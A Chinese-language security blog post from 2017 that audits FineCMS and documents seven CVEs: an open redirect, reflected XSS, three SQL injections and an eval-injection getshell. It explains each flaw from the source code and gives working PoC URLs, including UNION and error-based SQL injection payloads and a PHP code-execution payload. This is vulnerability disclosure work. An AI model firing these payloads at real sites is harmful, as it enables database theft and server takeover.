在過去的一段時間里,我對FineCMS公益版進行了一波比較詳盡的審計,我們找到了包括SQL注入、php代碼執行、反射性XSS、任意url跳轉等前台漏洞,其中部分漏洞危害巨大。
CVE-2017-11581
CVE-2017-11582
CVE-2017-11583
CVE-2017-11584
CVE-2017-11585
CVE-2017-11586
CVE-2017-11629
更新至v5.0.11即可修復大部分漏洞
URL 任意跳轉漏洞(CVE-2017-11586)
漏洞分析
/finecms/dayrui/controllers/Weixin.php
204~219 sync函數
public function sync() { $url = urldecode($this->input->get('url')); if ($this->uid) { // 定向URL redirect($url, 'refresh'); exit; } else { // 授權信息 $url = 'https://open.weixin.qq.com/connect/oauth2/authorize?appid='.$this->wx['config']['key'].'&redirect_uri='.urlencode(SITE_URL.'index.php?c=weixin&m=member').'&response_type=code&scope=snsapi_base&state='.urlencode($url).'#wechat_redirect'; redirect($url, 'refresh'); exit; } }
當uid存在時,獲取的url不做任何判斷,直接進入跳轉函數,這里uid存在的條件就是登陸,任意用戶登陸即可。
Poc
訪問網站並登陸,然后訪問(要求必須存在weixin模塊,默認開啟)
http://finecms.com/index.php?c=weixin&m=sync&url=http://www.baidu.com
登陸接口post型反射型xss(CVE-2017-11581)
這里是一個前台直接攻擊后台的儲存型xss修復后的遺漏,下面我們跟一下漏洞原理。
漏洞分析
/finecms/dayrui/controllers/admin/Login.php
17~57
當我們輸入錯誤的后台登陸用戶名和密碼,輸入的username會被過濾並返回到username中,讓我們來看看username的過濾。
post函數獲取的第二個參數是xss_clean,當xss_clean開啟時,post會代入判斷
/** * Fetch an item from the POST array * * @param mixed $index Index for item to be fetched from $_POST * @param bool $xss_clean Whether to apply XSS filtering * @return mixed */ public function post($index = NULL, $xss_clean = NULL) { return $this->_fetch_from_array($_POST, $index, $xss_clean); }
file /finecms/system/core/input.php
226-228
return ($xss_clean === TRUE) ? $this->security->xss_clean($value) : $value;
進入過濾邏輯
/finecms/system/core/security.php
470-489
這里的所有過濾都是以尖括號為開始的。
假設輸入的username如果不包含左右尖括號,那么就不會有任何變化,那么我們正好可以使用dom xss執行js。
成功逃逸了雙引號,那么一個反射性xss就成立了
PoC
登陸使用下面的username
" onmousemove=alert`1` a="1
登陸失敗后,移動鼠標就會觸發
無限制前台反射性xss漏洞(CVE-2017-11629)
這里本來是一個前台的任意函數執行,但是因為傳入的是不可控數組,所以導致我不知道如何利用,仔細思考后被我改造成了反射性xss
漏洞分析
/finecms/dayrui/controllers/api.php
145-165 data2函數
這里我們傳入的所有參數都沒有設置xss_clear,也就是說,這里的所有數據都是沒有經過任何處理的。
這里的function參數本來是通過設置可以執行任意函數的,但是由於傳入的data不可控還是數組,所以暫時想不到好的利用方法,但是突然發現如果函數不存在會直接輸出在頁面中。
於是這里形成了一個反射性xss。
Poc
http://finecms.com/index.php?c=api&m=data2&function=<script>alert(1)</script>p&format=php
Template.php catid變量 SQL注入漏洞(CVE-2017-11583)
漏洞分析:
/finecms/dayrui/controllers/api.php
114 data2函數
首先我們要繞過安全碼認證
$auth = $this->input->get('auth', true); if ($auth != md5(SYS_KEY)) { // 授權認證碼不正確 $data = array('msg' => '授權認證碼不正確', 'code' => 0); } else {
這個安全碼直接定義在config中,可以在后台被修改,會在cookie中被泄露
當我們第一次訪問站點的時候,我們會獲得cookie,這個前綴就是安全碼
獲取安全碼MD5后進入函數list_tag,跟入 /finecms/dayrui/libraries/Template.php
402行。
param參數通過空格分割,然后解析分別賦值給system參數字典中,理論上這里是個變量覆蓋漏洞。
通過這里,我們可以設置任意一個system變量。
通過構造形似
param=action=related
這樣的請求來進入case,這里我們進入action=related
為了進入判斷,我們必須傳入catid,並且保證參數內存在逗號,這樣catid的每一個值就會不經過任何變量過濾進入sql語句,形成注入。
這里有一個小問題就是不能使用空格和逗號,空格可以用換行符替代,逗號需要用一點兒黑科技,不過也不是很麻煩。
PoC
打開網站並獲取cookie中的SYS_KEY.
payload:
http://finecms.com/index.php? c=api&m=data2&auth={md5(SYS_KEY)}¶m=action=related%20module=news%20tag=1,2%20catid=1,12))%0aand%0a0%0aunion%0aselect%0a*%0afro m(((((((((((((((((((select(user()))a)join(select(2))b)join(select(3))c)joi n(select(4))d)join(select(5))e)join(select(6))f)join(select(7))g)join(sele ct(8))h)join(select(9))i)join(select(10))j)join(select(11))k)join(select(1 2))l)join(select(13))m)join(select(14))n)join(select(15))o)join(select(16) )p)join(select(17))q)join(select(18))x)%23
Template.php num變量 SQL注入漏洞(CVE-2017-11582)
漏洞分析:
這個漏洞前面部分的流程和上個漏洞觸發方式相同,也是通過安全碼,從data2函數進入list_tag函數,通過設置action=tags或者action=related。
$system['num']
參數存在limit注入,唯一的問題就是limit注入必須在5.0.0<mysql<5.6.6情況下才成立。
PoC
打開網站並獲取cookie中的SYS_KEY.
payload:
http://finecms.com/index.php? c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=related%2 0catid=1%20tag=1,2%20num=1/**/PROCEDURE/**/analyse(extractvalue(rand(),con cat(0x3a,version())),1) http://finecms.com/index.php? c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=tags%2 0catid=1%20tag=1,2%20num=1/**/PROCEDURE/**/analyse(extractvalue(rand(),con cat(0x3a,version())),1)
Template.php field變量 SQL注入漏洞(CVE-2017-11584)
漏洞分析:
前面洞觸發方式相同,通過安全碼,從data2函數進入list_tag函數,設置action=related
、action=form
、action=member
、action=module
這4部分有一個通用的$system['field']
,這部分其實稍微有點兒奇怪,沒做任何過濾就被直接拼接進入了SQL語句。
PoC
每一個action進入語句的條件都不一定,這里貼上4個payload
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php? c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=form%20fo rm=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php? c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=member%20 field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=module%20form=1%20module=news%20field=1%0aunion%0aselect%0auser()%23
eval injection導致的getshell(CVE-2017-11585)
Technical Description:
在list_tag函數中事實上產生的問題更多,當action=cache的時候
這部分其實觸發挺簡單的,只要保證每個步驟都存在就可以了,name這里需要設置MEMBER,我們可以跟過去看看_cache_var
函數
public function _cache_var($name, $site = SITE_ID) { $data = NULL; $name = strtoupper($name); switch ($name) { case 'MEMBER': $data = $this->ci->get_cache('member'); break; case 'URLRULE': $data = $this->ci->get_cache('urlrule'); break; case 'MODULE': $data = $this->ci->get_cache('module'); break; case 'CATEGORY': $site = $site ? $site : SITE_ID; $data = $this->ci->get_cache('category-'.$site); break; default: $data = $this->ci->get_cache($name.'-'.$site); break; } return $data; }
只要保證有返回就好了,最后進入eval語句,要保證語法正確。
PoC
打開網站並獲取cookie中的SYS_KEY.
payload:
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=cache%20name=MEMBER.1'];phpinfo();$a=['1
本文標題:finecms分析
文章作者:LoRexxar
發布時間:2017-07-26, 10:30:09
最后更新:2017-07-26, 10:47:15
原始鏈接:http://lorexxar.cn/2017/07/26/finecms分析/
許可協議: "署名-非商用-相同方式共享 4.0" 轉載請保留原文鏈接及作者。